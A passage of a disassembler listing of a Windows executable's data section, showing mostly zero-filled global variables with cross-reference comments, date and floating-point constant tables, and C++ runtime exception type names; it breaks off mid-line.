sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD74 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD78 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD80 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD84 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD88 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD8C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CDBC dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CDC0 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDF8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF58 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D0B4 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D0CC dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0EC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D10C dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D130 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D150 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D158 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D160 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D178 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCE0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEE0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEE4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEE8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEEC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEF0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEF4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEF8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1E15h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433794o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A80o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384F0o dword_457444 dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_43835Co dd 56A6h dup(0) dword_4CACE0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACE4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACE8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACEC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD6C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CADAC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE3C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE40 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE50 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE54 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE58 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE5C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE90 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+934w dword_4CAEC0 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAECC dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAED8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEE0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEE4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAEFC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAF08 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAF10 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAF14 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAF18 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAF1C dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAF28 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAF2C dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF4C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF50 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF58 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF5C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF74 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF80 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF8C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAFA4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAFB4 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAFBC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAFC4 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAFC8 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFE4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CB000 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CB00C dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CB010 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CB014 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CB018 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CB01C dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CB020 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CB024 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CB028 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CB02C dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB030 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB03C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB044 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB048 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB04C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB050 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB054 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB05C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB060 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB064 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB06C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB074 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB078 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB080 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB088 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB090 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB094 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB098 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB09C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB0A4 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB0A8 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB0AC dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB0B0 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB0B4 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB0B8 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB0BC dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB0C0 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB0C4 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB0C8 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB0CC dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0D0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0D4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0F0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0F4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0F0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD108 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD10C dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD110 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD114 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD118 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD198 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD19C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD1A0 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD1A8 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD1AC dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD2B0 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD3B4 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD3B8 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD3BC dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD3C0 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD440 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD444 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD448 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD450 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD454 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD558 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD65C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD660 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD664 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD668 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6E8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6EC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6F0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6F8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6FC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD984 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA88 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA90 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA94 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA98 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA9C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDAA4 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDAAC dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDAB0 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDAB4 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDCBC dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDCC4 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDCCC dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCD4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCE0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCE4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCEC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCF4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCF8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDD08 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDD10 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE138 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE758 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEBCC dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2BCC dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BD0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BD8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2C10 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2E10 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D3610 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3E10 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3E14 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3E18 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3E1C dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3E20 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D4020 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D4028 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D402C dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4030 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4034 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4038 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D403C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4044 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 42h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437868o dd 3Ch dup(0) dword_4D4244 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA758 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA75C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA960 dd 17h dup(0) ; DATA XREF: 